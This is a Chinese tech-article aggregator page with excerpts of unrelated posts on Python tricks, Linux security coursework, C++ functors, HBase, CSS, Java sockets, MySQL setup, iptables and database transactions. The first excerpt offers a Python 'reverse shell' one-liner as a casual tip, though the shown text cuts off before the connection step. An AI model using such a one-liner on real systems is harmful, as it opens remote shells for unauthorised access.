技术文章

Python 技巧续

社会主义新天地 提交于 2021-02-17 18:58:15
函数连续调用 def add ( x ): class AddNum ( int ): def __call__ ( self , x ): return AddNum ( self . numerator + x ) return AddNum ( x ) >>> add ( 2 )( 3 )( 5 ) 10 >>> add ( 2 )( 3 )( 4 )( 5 )( 6 )( 7 ) 27 # js var add = function ( x ){ var addNum = function ( x ){ return add ( addNum + x ); }; addNum . toString = function (){ return x ; } return addNum ; } add ( 2 )( 3 )( 5 ) //10add(2)(3)(4)(5)(6)(7) //27 获取公网IP python - c "import socket; sock=socket.create_connection(('ns1.dnspod.net',6666)); print sock.recv(16); sock.close()" 反弹 shell python - c 'import socket,subprocess,os;s=socket.socket(socket

2017-2018-2 20179204《网络攻防实践》第八周学习总结

五迷三道 提交于 2021-02-17 18:55:40
第1节 教材学习内容总结 本周学习了教材第八章的内容。 ###1.1 linux操作系统基本框架概述 发展出众多操作系统发行版:ubuntu、debian、fedora、centos、rhel、opensuse和stackware等。 优势 开放源代码与免费 跨平台的硬件支持 丰富的软件支持 多用户多任务 可靠的安全性 良好的稳定性 完善的网络功能 linux系统结构(课本图8-1) Linux进程与线程管理机制 Linux内存管理机制 Linux文件系统管理机制 Linux设备控制机制 Linux网络机制 Linux系统调用机制 ###1.2 linux操作系统安全机制 linux操作系统的核心安全机制主要是身份认证、授权与访问控制、安全审计三个部分。 linux身份认证 linux用户(root根用户、普通用户、系统用户) linux用户组(具有相同特征的用户账号集合) linux本地登录用户认证机制(控制台) linux远程登录用户认证机制(ssh服务) Linux的统一身份认证中间件——PAM(可插入身份认证模块) linux授权与访问控制 文件所有者(chown命令) 文件的访问权限(读、写、执行,chmod命令) 文件的特殊执行权限 Linux访问控制机制的不足与改进 linux安全审计 主要通过三个主要的日志子系统来实现(p284 表8-1): 连接时间日志

STL之仿函数实现详解

偶尔善良 提交于 2021-02-17 18:53:04
分类专栏: C PlusPlus STL源代码剖析 文章标签: STL 仿函数 版权 1、何为仿函数 仿函数的主要功能是为了搭配STL算法使用,单独使用仿函数的情况比较少。 仿函数(functors)在C++标准中采用的名称是函数对象(function objects)。仿函数主要用于STL中的算法中,虽然函数指针虽然也可以作为算法的参数,但是函数指针不能满足STL对抽象性的要求,也不能满足软件积木的要求–函数指针无法和STL其他组件搭配,产生更灵活变化。仿函数本质就是类重载了一个operator(),创建一个行为类似函数的对象。 对于重载了()操作符的类,可以实现类似函数调用的过程,所以叫做仿函数,实际上仿函数对象仅仅占用1字节,因为内部没有数据成员,仅仅是一个重载的方法而已。实际上可以通过传递函数指针实现类似的功能,但是为了和STL内部配合使用,他提供了仿函数的特性。 struct MyPlus{ int operator()(const int &a , const int &b) const{ return a + b; } }; int main() { MyPlus a; cout << MyPlus()(1,2) << endl;//1、通过产生临时对象调用重载运算符 cout << a.operator()(1,2) << endl;//2

HBase笔记(2)架构解析(未写完,改天写)

半世苍凉 提交于 2021-02-17 18:52:45
HBase基本架构: RegionServer的作用 Data (某一行或者几行数据的操作):get, put, delete (查、增、删,改是通过时间戳timestamp控制的) Region (相当于水平分表): splitRegion(切分), compactRegion(合并) Master的作用: Table:create, delete, alter RegionServer: 分配regions到每个RegionServer,监控每个RegionServer的状态。 注意:Mater挂掉的一段时间里面,对数据的增删改查,没问题;对表的操作,不能够了! 也就是说Master其实管两件事情: 1)Master管理的DDL操作,不管DML的事情。 2)Master根据负载情况,决定把数据给哪个region(region XXX),即当前表给谁维护。 Master存在单点故障。所以需要高可用。 (Hadoop1.0不带高可用,Hadoop2.0可以高可用但是相对比较麻烦,Hadoop3.0自带高可用) RegionServer管理DML操作,直接和数据操作。 搭建HBase环境需要启动的清单: 1)Zookeeper 2)Master 3)RegionServer 4)HDFS Yarn可以不启动。因为这部分和Yarn没关系,Yarn是调度资源做计算的

css强制换行与禁止换行

霸气de小男生 提交于 2021-02-17 18:50:03
强制换行: word-wrap:break-word;white-space:pre-wrap;word-break:break-all; #####若未生效,或另需加上width样式设置 禁止换行: overflow: hidden;text-overflow: ellipsis;white-space:nowrap; 来源: oschina 链接: https://my.oschina.net/u/3171768/blog/1594058

Java Socket网络编程

末鹿安然 提交于 2021-02-17 18:49:43
Java Socket网络编程 计算机网络中,客户机与服务器之间进行通信时,客户机必须知道服务器的IP地址和端口号。IP地址是标识Internet网络中的某台计算机,而端口号则标识着在服务器上运行的某个程序(进程),如果在服务器上运行的程序,没有端口号,则客户端的程序就不能找到它,也不能和它进行通信。一定要清楚,别和电脑上的物理端口号搞混了。 端口号是一个逻辑的地址,用于标识计算机中运行着的应用程序。它可以是0~65535之间的一个数,0~1023为系统保留使用,例如http的是80端口等,这些是系统已经分配给默认服务使用的。 当两个应用程序需要通过网络通信时,就可以使用IP地址和端口号进行通过,IP地址和端口号组合在一起就是一个Socket(网络套接字)。套接字分为服务端的和客户端的两种 一、客户端套接字 客户端的套接字用于与服务器端的套接字进行连接。其使用方法如下: socket=new Socket("127.0.0.1",2018); 其中127.0.0.1标识服务器端的IP地址,2018标识服务器端应用程序的端口号。在建立套接字的过程中,可能会发生IOException异常,要注意进行处理。 二、服务器端套接字 客户端与服务器端通信时,服务器端负责提供服务,客户端通过Socket向服务器端请求服务。因此,在服务器端也必须有相应的套接字与客户端进行连接。使用如下: try

Windows下MySQL8.0.13解压版安装教程

跟風遠走 提交于 2021-02-17 18:49:28
下载 MySQL8.0.13-64位下载地址 在下载页面的底部,有三种安装包,第一种是MySQL的安装程序,下载完点击安装即可。 第二种是普通的压缩版,体积较小。 第三种是自带debug和测试的压缩版,体积较大。这种压缩包在网上暂时没有找到对应的安装文档说明,所以建议下载第二种压缩包,也就是普通版本的MySQL压缩包。 配置环境变量 新建环境变量如下: 变量名: MYSQL_HOME 变量值: D:\software\mysql-8.0.13-winx64 (这里填写MySQL的安装路径) 在path变量的变量值末尾加上: ;%MYSQL_HOME%\bin 如果是win10那种将一个变量的变量值分成一行行来填写的,则不需要加上英文分号。 <!-- more --> 生成data文件 打开cmd窗口,切换到 %MYSQL_HOME%/bin 下,输入命令: mysqld --initialize-insecure --user=mysql 接着等待命令执行完毕。这里需要注意的是,如果不是下载的普通版本的压缩包(体积较小那个),会提示你找不到mysqld命令。 启动MySQL服务 输入命令: net start mysql 如果执行报错如下: D:\software\mysql-8.0.13-winx64>net start mysql 服务名无效。 请键入 NET HELPMSG

第十五课预习笔记

…衆ロ難τιáo~ 提交于 2021-02-17 18:49:08
10.19 iptables规则备份和恢复 保存和备份iptables规则 1、service iptables save #会把规则保存到/etc/sysconfig/iptabels中,启动时会加载。 2、把iptables规则保存在自定义的位置:iptables-save > 位置 例如:iptables-save > /tmp/my_iptables.txt [root@liang-00 ~]# iptables-save > /tmp/my_iptables.txt [root@liang-00 ~]# cat /tmp/my_iptables.txt # Generated by iptables-save v1.4.21 on Tue Nov 20 19:47:32 2018 *nat :PREROUTING ACCEPT [12:936] :INPUT ACCEPT [0:0] :OUTPUT ACCEPT [1:76] :POSTROUTING ACCEPT [1:76] COMMIT # Completed on Tue Nov 20 19:47:32 2018 # Generated by iptables-save v1.4.21 on Tue Nov 20 19:47:32 2018 *filter :INPUT ACCEPT [0:0] :FORWARD

事务特性,事务的隔离级别,并发事务可能出现的问题,spring事务 数据库锁

六眼飞鱼酱① 提交于 2021-02-17 18:48:25
1.0 事务特性(ACID) Atomicity:原子性,一个事务不可以被拆分 Consistency:一致性,在事务执行前数据库的数据处于正确的状态,而事务执行完成后数据库的数据还是处于正确的状态,即数据完整性约束没有被破坏;比如我们做银行转账的相关业务,A转账给B,要求A转的钱B一定要收到。如果A转了钱而B没有收到,那么数据库数据的一致性就得不到保障,在做高并发业务时要注意合理的设计。 Isolation:隔离性,并发事务执行之间无影响,在一个事务内部的操作对其他事务是不产生影响,这需要事务隔离级别来指定隔离性; Durability:持久性,事务一旦执行成功,它对数据库的数据的改变必须是永久的,不会因各种异常导致数据不一致或丢失。 1.1 事务的隔离级别   READ_UNCOMMITTED 会出现脏读、不可重复读、幻读 ( 隔离级别最低,并发性能高 )   READ_COMMITTED 会出现不可重复读、幻读问题(锁定正在读取的行)   REPEATABLE_READ 会出幻读(锁定所读取的所有行)   SERIALIZABLE 保证所有的情况不会发生(锁表) 大多数数据库的默认隔离级别为: Read Commited,如Sql Server , Oracle . 少数数据库默认的隔离级别为Repeatable Read, 如 MySQL InnoDB存储引擎 1